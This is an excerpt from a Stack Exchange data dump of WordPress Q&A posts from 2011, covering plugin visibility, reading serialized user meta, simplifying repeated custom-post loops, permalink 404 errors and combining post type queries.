  <row Id="11032" PostTypeId="1" AcceptedAnswerId="11034" CreationDate="2011-03-03T15:01:53.117" Score="0" ViewCount="128" Body="&lt;p&gt;I just downloaded the &lt;a href=&quot;http://c.hadcoleman.com/wordpress-plugins/wmd-editor-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;WMD Editor plugin&lt;/a&gt;.&lt;br&gt;&#xA;For some reason is not showing up in the &lt;strong&gt;Plugins&lt;/strong&gt; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the folder is called &lt;code&gt;wmd-editor/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wmd-editor.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: WMD Editor&#xA;Plugin URI: http://c.hadcoleman.com/wordpress/wmd-editor&#xA;Description: Adds the &amp;lt;a href=&quot;http://wmd-editor.com/&quot;&amp;gt;WMD Editor&amp;lt;/a&amp;gt; to the comment field, to make life easier for your commenters.&#xA;Version: 1.0&#xA;Author: Chad Coleman&#xA;Author URI: http://c.hadcoleman.com&#xA; */&#xA;&#xA;/*&#xA;This is a simple plugin that just adds the javascript call to the header of your template. You can gather more info on this project at http://code.google.com/p/wmd/&#xA;*/ &#xA;&#xA;    // function for head output sytles&#xA;    function wmd_header() {&#xA;        global $cb_path;&#xA;        $cb_path = get_bloginfo('wpurl').&quot;/wp-content/plugins/wmd-editor&quot;;  //URL to the plugin directory&#xA;        $hHead = &quot;\n&quot;.&quot;&amp;lt;!-- Start WMD Editor --&amp;gt;&quot;.&quot;\n&quot;;&#xA;        $hHead .= &quot; &amp;lt;script language=\&quot;javascript\&quot; type=\&quot;text/javascript\&quot; src=\&quot;{$cb_path}/wmd.js\&quot; &amp;gt;&amp;lt;/script&amp;gt;\n&quot;;&#xA;        $hHead .= &quot;&amp;lt;!-- End WMD Editor --&amp;gt;&quot;.&quot;\n&quot;;&#xA;        print($hHead);&#xA;    }&#xA;&#xA;    add_action('wp_head', 'wmd_header'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-03T15:11:25.480" LastActivityDate="2011-03-03T15:17:00.623" Title="WMP Plugin not showing up in the plugin panel?" Tags="&lt;visual-editor&gt;" AnswerCount="1" />
  <row Id="11033" PostTypeId="1" CreationDate="2011-03-03T15:07:00.617" Score="0" ViewCount="151" Body="&lt;p&gt;I have some custom user_meta fields in my MySQL database. The data is stored in my DB as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the meta_key is called &quot;paypal_user&quot; and the info is stored in the meta_value column as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;O:11:&quot;Paypal_User&quot;:9:{s:8:&quot;duration&quot;;s:1:&quot;1&quot;;s:13:&quot;duration_type&quot;;s:1:&quot;y&quot;;s:6:&quot;amount&quot;;s:2:&quot;30&quot;;s:8:&quot;currency&quot;;s:3:&quot;GBP&quot;;s:13:&quot;last_pay_date&quot;;s:10:&quot;2011-02-12&quot;;s:11:&quot;expire_date&quot;;s:10:&quot;2012-02-12&quot;;s:12:&quot;account_type&quot;;s:7:&quot;premium&quot;;s:10:&quot;status_str&quot;;s:27:&quot;Last payment was successful&quot;;s:12:&quot;payment_type&quot;;s:12:&quot;subscription&quot;;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to print the &quot;expire date&quot; information on a webpage, as well as user_id and some form data s the user can print out a membership badge from the webpage. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I access that one particular part of the meta_data column? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what do the numbers between each of the values in the meta_data column? I'm a newbie when it comes to using MySQL...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit to add:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm posting my code as I can't seem to get it to work at all. Any pointers would be appreciated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include_once('wp-config.php');&#xA;include_once('wp-load.php');&#xA;include_once('wp-includes/wp-db.php');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;Untitled Document&amp;lt;/title&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;&#xA;&amp;lt;!--    styling stuff --&amp;gt;&#xA;&#xA;&amp;lt;/style&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;div id=&quot;wrapper&quot;&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;top_badge&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php &#xA;&#xA;    if ( is_user_logged_in() ) {&#xA;&#xA;    global $user_ID;&#xA;&#xA; // Get the 'paypal_user' info for the user. Just fetch a single&#xA;// value, not an array.&#xA;$paypal_user = get_user_meta($user_ID, 'paypal_user', true);&#xA;$exp_date = $paypal_user-&amp;gt;expire_date;&#xA;?&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;member_no_1&quot;&amp;gt;&amp;lt;?php echo '$user_ID' ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;member_lp_1&quot;&amp;gt;PR34 2PL&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;member_exp_1&quot;&amp;gt;&amp;lt;?php echo '$exp_date' ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks again.&lt;/p&gt;&#xA;" OwnerUserId="3245" LastEditorUserId="3245" LastEditorDisplayName="" LastEditDate="2011-03-07T09:41:25.303" LastActivityDate="2011-03-07T09:41:25.303" Title="Wordpress and MySQL: trying to print data using PHP from user_meta custom field data" Tags="&lt;php&gt;&lt;database&gt;&lt;mysql&gt;" AnswerCount="1" />
  <row Id="11034" PostTypeId="2" ParentId="11032" CreationDate="2011-03-03T15:17:00.623" Score="1" ViewCount="" Body="&lt;p&gt;Must be something you have installed or custom code causing the issue, it appears just fine for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Hy8fA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your question was actually why there's no additional menu item on the admin side then the answer would be because not every plugin has an admin page, some provide configuration options, others just do something with no configurable options(depends on the intent of the author i suppose).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope i could help in any case..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-03T15:17:00.623" CommentCount="2" />
  <row Id="11035" PostTypeId="1" AcceptedAnswerId="11044" CreationDate="2011-03-03T15:18:03.680" Score="1" ViewCount="153" Body="&lt;p&gt;I'm working on a site at the moment for an orchestra. The various members need to be listed, according to their instrument. The members have a custom post type of biography and I'm capturing the instrument value via a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can figure out how to display the relevant people in their relevant sections is to loop again and again through the custom post type, displaying the people that play a particular instrument by comparing the meta value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array( 'post_type' =&amp;gt; 'biographies', 'posts_per_page' =&amp;gt; -1 ); ?&amp;gt;&#xA;&#xA;    &amp;lt;ul class=&quot;no-bull hijax&quot;&amp;gt;&#xA;        &amp;lt;?php $biog = new WP_Query($args);&#xA;            if( $biog-&amp;gt;have_posts() ) : while( $biog-&amp;gt;have_posts() ) : $biog-&amp;gt;the_post();&#xA;                $player = get_post_meta($post-&amp;gt;ID, 'player', true);&#xA;                if ($player == 'yes') :&#xA;                    $instrument = get_post_meta($post-&amp;gt;ID, 'instrument', true);&#xA;                    if ($instrument == 'violin') :&#xA;                    ?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a id=&quot;artist_id_&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;nb&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt; : &amp;lt;?php echo($instrument); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    endif;&#xA;                endif;&#xA;            endwhile; endif;&#xA;        wp_reset_query();&#xA;        $biog = new WP_Query($args);&#xA;            if( $biog-&amp;gt;have_posts() ) : while( $biog-&amp;gt;have_posts() ) : $biog-&amp;gt;the_post();&#xA;                $player = get_post_meta($post-&amp;gt;ID, 'player', true);&#xA;                if ($player == 'yes') :&#xA;                    $instrument = get_post_meta($post-&amp;gt;ID, 'instrument', true);&#xA;                    if ($instrument == 'viola') :&#xA;                    ?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a id=&quot;artist_id_&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;nb&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt; : &amp;lt;?php echo($instrument); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    endif;&#xA;                endif;&#xA;            endwhile; endif;&#xA;        wp_reset_query(); &#xA;        $biog = new WP_Query($args);&#xA;            if( $biog-&amp;gt;have_posts() ) : while( $biog-&amp;gt;have_posts() ) : $biog-&amp;gt;the_post();&#xA;                $player = get_post_meta($post-&amp;gt;ID, 'player', true);&#xA;                if ($player == 'yes') :&#xA;                    $instrument = get_post_meta($post-&amp;gt;ID, 'instrument', true);&#xA;                    if ($instrument == 'cello') :&#xA;                    ?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a id=&quot;artist_id_&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;nb&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt; : &amp;lt;?php echo($instrument); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php&#xA;                    endif;&#xA;                endif;&#xA;            endwhile; endif;&#xA;        wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc. etc. ad nauseum. (there are currently 12 loops on the page!!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is clearly totally inefficient, but quite simply, I don't know how to write better code that this and need some help!&lt;/p&gt;&#xA;" OwnerUserId="3430" LastEditorUserId="3430" LastEditorDisplayName="" LastEditDate="2011-03-03T15:23:51.337" LastActivityDate="2011-03-04T00:13:40.123" Title="Grossly inefficient wordpress loops!" Tags="&lt;custom-post-types&gt;&lt;post-meta&gt;&lt;custom-loop&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="11036" PostTypeId="2" ParentId="11035" CreationDate="2011-03-03T15:25:20.600" Score="0" ViewCount="" Body="&lt;p&gt;Ehm... you don't need to write a loop again and again. Only work on the part that get's changed. The loop will through all datasets anyway. Btw: I wouldn't make custom fields for this. A &quot;instruments&quot; taxonomy with &quot;violin&quot;, &quot;viola&quot;, etc. as term would be much easier and give you much more possibilities &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/&quot; rel=&quot;nofollow&quot;&gt;(namely template tags)&lt;/a&gt;, eg. making subtaxs like &quot;wind instruments&quot;, &quot;percussion instruments&quot;, etc. You should also move the &lt;code&gt;if&lt;/code&gt; statement inside of the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; element, as it doesn't change either. The only thing is the &lt;code&gt;if $instrument == ''&lt;/code&gt; and the &lt;code&gt;echo $instrument;&lt;/code&gt; (which can be written without the surrounding &lt;code&gt;()&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   if ($instrument == 'violin') : // only $instrument changes, right?&#xA;   ?&amp;gt;&#xA;     &amp;lt;li&amp;gt;&#xA;        &amp;lt;a id=&quot;artist_id_&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;nb&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;           &amp;lt;?php the_title(); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt; : &amp;lt;?php echo($instrument); ?&amp;gt;&#xA;     &amp;lt;/li&amp;gt;&#xA;   &amp;lt;?php&#xA;   elseif ($instrument == 'violin') :&#xA;      // do stuff...&#xA;   endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; You could utilize a custom taxonomy named &quot;instruments&quot; and then filter you query in the desired order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// @link: http://codex.wordpress.org/Function_Reference/taxonomy_exists  &#xA;if ( taxonomy_exists('instruments') ) :&#xA;  // @link: http://codex.wordpress.org/Function_Reference/has_term&#xA;  if ( has_term( 'instruments', 'viola', get_post_ID() ) ): &#xA;    # DO STUFF HERE, eg. echo term&#xA;  endif;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just make one loop and inside the while-loop just question the term and echo/display stuff. You could, instead of using the &lt;code&gt;if ( has_term(&lt;/code&gt;, also use a switch for more readability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Using this solution avoids further DB calls with &lt;code&gt;get_post_meta()&lt;/code&gt; - afaik this calls the DB and not the post object - for every instrument.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-04T00:13:40.123" LastActivityDate="2011-03-04T00:13:40.123" CommentCount="2" />
  <row Id="11037" PostTypeId="2" ParentId="11033" CreationDate="2011-03-03T15:34:44.780" Score="2" ViewCount="" Body="&lt;p&gt;That's a &lt;a href=&quot;http://us3.php.net/serialize&quot; rel=&quot;nofollow&quot;&gt;serialized object variable&lt;/a&gt;. The numbers are string lengths, for example, where you see &lt;code&gt;s:8:&quot;duration&quot;&lt;/code&gt;, notice that the word 'duration' is 8 characters long. You shouldn't have to worry about that, because WordPress will take care of it for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access the fields like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $user_ID;&#xA;&#xA;// Get the 'paypal_user' info for the user. Just fetch a single&#xA;// value, not an array.&#xA;$paypal_user = get_user_meta($user_ID, 'paypal_user', true);&#xA;$exp_date = $paypal_user-&amp;gt;expire_date;&#xA;$paytype = $paypal_user-&amp;gt;payment_type;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-03T15:34:44.780" CommentCount="3" />
  <row Id="11038" PostTypeId="1" CreationDate="2011-03-03T15:42:12.220" Score="0" ViewCount="120" Body="&lt;p&gt;I can switch to default and everything works, but once permalinks is set i get the 404. The thing is I've been using permalinks for years without problems. I can't find what went wrong as I had not made any changes in weeks. It happened all of a sudden. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried finding the .htaccess (showing hidden files) but to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does wordpress update itself perhaps? I notice there's an admin bar at the top of my page when logged in...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3676" LastActivityDate="2011-03-03T15:56:22.130" Title="getting a 404 page for all pages except home. possibly permalinks" Tags="&lt;3.0&gt;&lt;permalinks&gt;" AnswerCount="2" />
  <row Id="11039" PostTypeId="2" ParentId="11038" CreationDate="2011-03-03T15:46:31.890" Score="1" ViewCount="" Body="&lt;p&gt;I don't think your permalinks will work without the .htaccess file. If you create a blank one, set the permissions to 777 and try to update your permalinks again, WordPress should automatically add the rules. Then be sure to change the permissions back!&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-03T15:46:31.890" CommentCount="2" />
  <row Id="11040" PostTypeId="2" ParentId="11038" CreationDate="2011-03-03T15:56:22.130" Score="0" ViewCount="" Body="&lt;p&gt;Create a .htaccess file in the root directory of your Wordpress install (where the index.php etc is) and set it to what WP tells you to when you turn permalinks on.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-03-03T15:56:22.130" CommentCount="1" />
  <row Id="11041" PostTypeId="1" AcceptedAnswerId="11061" CreationDate="2011-03-03T16:00:15.690" Score="2" ViewCount="282" Body="&lt;p&gt;Is it possible to test whether a script or a style was registered using &lt;code&gt;wp_register_script/_style&lt;/code&gt; or &lt;code&gt;wp_enqueue_script/_style&lt;/code&gt;? All functions doesn't return a value and I'm completely clueless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need it to switch between different functions depending on stylesheet-libraries and scripts I offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2011-03-09T13:46:44.707" LastActivityDate="2011-03-09T14:14:36.183" Title="Check if a script/style was enqueued/registered" Tags="&lt;wp-enqueue-script&gt;&lt;wp-register-style&gt;&lt;wp-register-script&gt;&lt;wp-enqueue-style&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="11042" PostTypeId="2" ParentId="11041" CreationDate="2011-03-03T16:09:35.823" Score="2" ViewCount="" Body="&lt;p&gt;Well I have a PHPUnit function I use for ensuring a script/style has been enqueued. It may lead you in the correct direction. Which can be found &lt;a href=&quot;http://backie.org/2011/02/19/wordpress-unit-test-hook-test-functions/&quot; rel=&quot;nofollow&quot;&gt;http://backie.org/2011/02/19/wordpress-unit-test-hook-test-functions/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-03-03T16:09:35.823" CommentCount="2" />
  <row Id="11043" PostTypeId="2" ParentId="11003" CreationDate="2011-03-03T16:35:07.700" Score="1" ViewCount="" Body="&lt;p&gt;I don't think there's a way to get TinyMCE to leave your HTML alone. This has been discussed in the WP Forum for ages. I stick with the HTML editor &amp;amp; write my code in another editor such as BBEdit first if it needs to be complicated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a general rule, I would not include that much inline styling in a post. It makes it &lt;em&gt;very difficult&lt;/em&gt; to maintain or modify your styles in the future. This should all be defined in the theme stylesheet.&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-03T16:35:07.700" CommentCount="2" />
  <row Id="11044" PostTypeId="2" ParentId="11035" CreationDate="2011-03-03T16:41:38.657" Score="1" ViewCount="" Body="&lt;p&gt;You could do it with one loop, you just need a valid sort order right? Players with one instrument, followed by the next and so on..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; &lt;em&gt;Following on the asker's comment, you can still use one query and use &lt;code&gt;rewind_posts()&lt;/code&gt; to iterate the loop as many times as you need, ie. do something like this to get a custom sort..&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Add the instruments into the array below, in the order you want them in.&#xA;$instruments = array( 'violin', 'viola', 'cello' );&#xA;&#xA;$args = array( &#xA;    'post_type' =&amp;gt; 'biographies', &#xA;    'posts_per_page' =&amp;gt; -1,&#xA;    'nopaging' =&amp;gt; true,&#xA;    'surpress_filters' =&amp;gt; true,&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'player',&#xA;            'value' =&amp;gt; 'yes',&#xA;            'compare' =&amp;gt; '=',&#xA;            'type' =&amp;gt; 'CHAR'&#xA;        ),&#xA;        array(&#xA;            'key' =&amp;gt; 'instruments',&#xA;            'value' =&amp;gt; $instruments,&#xA;            'compare' =&amp;gt; 'IN',&#xA;            'type' =&amp;gt; 'CHAR'&#xA;        )&#xA;    ),&#xA;); &#xA;&#xA;$bios = new WP_Query( $args);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php if( $bios-&amp;gt;have_posts() ) : ?&amp;gt;&#xA;&#xA;    &amp;lt;ul class=&quot;no-bull hijax&quot;&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    foreach( $instruments as $instrument ) :&#xA;&#xA;        while( $bios-&amp;gt;have_posts() ) : $bios-&amp;gt;the_post();&#xA;&#xA;            $player_instrument = get_post_meta( get_the_ID(), 'instrument', true );&#xA;&#xA;            if( $instrument != $player_instrument )&#xA;                continue;&#xA;        ?&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a id=&quot;artist_id_&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;nb&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt; : &amp;lt;?php echo $player_instrument; ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php &#xA;&#xA;        endwhile; &#xA;        rewind_posts();&#xA;&#xA;    endforeach;&#xA;    wp_reset_query();&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See if that has the desired effect.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-03T23:55:22.403" LastActivityDate="2011-03-03T23:55:22.403" CommentCount="5" />
  <row Id="11045" PostTypeId="2" ParentId="11030" CreationDate="2011-03-03T16:41:46.197" Score="0" ViewCount="" Body="&lt;p&gt;You can create a separate category template for just that one category. If your category's slug is &lt;code&gt;reviews&lt;/code&gt; you can make a copy of your category template and save it as &lt;code&gt;category-reviews.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://codex.wordpress.org/Category_Templates&quot; rel=&quot;nofollow&quot;&gt;Category Templates page on Codex&lt;/a&gt; for more info about the template hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This still leaves you with the &lt;code&gt;/category/&lt;/code&gt; part in the permalink, which you can either change to something else globally in the permalink settings, or you can maybe create a custom rewrite rule just for that category.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-03T16:41:46.197" CommentCount="2" />
  <row Id="11046" PostTypeId="2" ParentId="11035" CreationDate="2011-03-03T16:42:37.477" Score="4" ViewCount="" Body="&lt;p&gt;I would also recommend using custom taxonomies. An intersection between 'Instrument' and 'Player' taxonomies would make short work of this. But if that's not practical, perhaps this might work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;  'post_type' =&amp;gt; 'biographies',&#xA;  'posts_per_page' =&amp;gt; -1,&#xA;  'meta_key' =&amp;gt; 'instrument',&#xA;  'orderby' =&amp;gt; 'meta_value'&#xA;);&#xA;&#xA;query_posts($args);&#xA;&#xA;while(have_posts()) : the_post();&#xA;  $inst = get_post_meta($post_id, 'instrument', true);&#xA;  $player = get_post_meta($post_id, 'player', true);&#xA;  if ('yes' == $player) {&#xA;  ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a id=&quot;artist_id_&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;nb&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt; : &amp;lt;?php echo $inst; ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;?php&#xA;  }&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-03-03T16:42:37.477" />
  <row Id="11047" PostTypeId="1" CreationDate="2011-03-03T16:43:14.077" Score="0" ViewCount="132" Body="&lt;p&gt;I want to populate the &quot;Greenway News&quot; box on this page with the three latest headlines from the site's Press section AND blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blog is a regular WP blog and I am currently using this code to get my results:&#xA;&lt;code&gt;&amp;lt;?php query_posts('cat=3&amp;amp;posts_per_page=3'); ?&amp;gt;&lt;/code&gt;&#xA;The Press page is a custom post type.  I can get the following code to work as well:&#xA;&lt;code&gt;&amp;lt;?php&#xA;              query_posts( array( 'post_type' =&amp;gt; 'portfolio', 'toolkit' =&amp;gt; '2011' ) );&#xA;              //the loop start here&#xA;              if ( have_posts() ) : while ( have_posts() ) : the_post();&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&#xA;However, I am a PHP nitwit and have failed to combine the two calls in to one.  Is this not feasible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help. &lt;/p&gt;&#xA;" OwnerUserId="1097" LastActivityDate="2011-03-08T13:21:20.900" Title="Querying custom posts and regular posts" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="11048" PostTypeId="2" ParentId="11047" CreationDate="2011-03-03T17:11:43.877" Score="1" ViewCount="" Body="&lt;p&gt;You're nearly there, you just need to tell WP that you want to query posts as well as your Press CPT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;query_posts( array( 'post_type' =&amp;gt; array('posts', 'portfolio'), ...);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where portfolio is the name of your custom post type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant Codex page is: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/WP_Query#Post_.26_Page_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Update]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is how the query should look &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php&lt;br&gt;&#xA;$args = array('post_type'=&amp;gt;array('posts', 'portfolio'));&lt;br&gt;&#xA;query_posts($args);&lt;br&gt;&#xA;if ( have_posts() ) : while ( have_posts() ) : the_post();&lt;br&gt;&#xA;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastEditorUserId="490" LastEditorDisplayName="" LastEditDate="2011-03-08T13:21:20.900" LastActivityDate="2011-03-08T13:21:20.900" CommentCount="2" />
  <row Id="11049" PostTypeId="1" AcceptedAnswerId="11051" CreationDate="2011-03-03T17:31:00.510" Score="0" ViewCount="294" Body="&lt;p&gt;If I were to take a standard query post. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('post_type=payment'); while (have_posts()) : the_post();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Only this time I would like to query the post by 2 custom fields that it may contain.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('post_type=payment'.get_post_meta($post-&amp;gt;ID,'bookingref', true).get_post_meta($post-&amp;gt;ID,'customerref', true) ); while (have_posts()) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That doesn't work. Is something like this possible and how is it done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-03-03T17:40:39.373" Title="Query Posts or Get Posts by custom fields, possible?" Tags="&lt;custom-field&gt;&lt;query-posts&gt;&lt;get-posts&gt;" AnswerCount="1" CommentCount="1" />
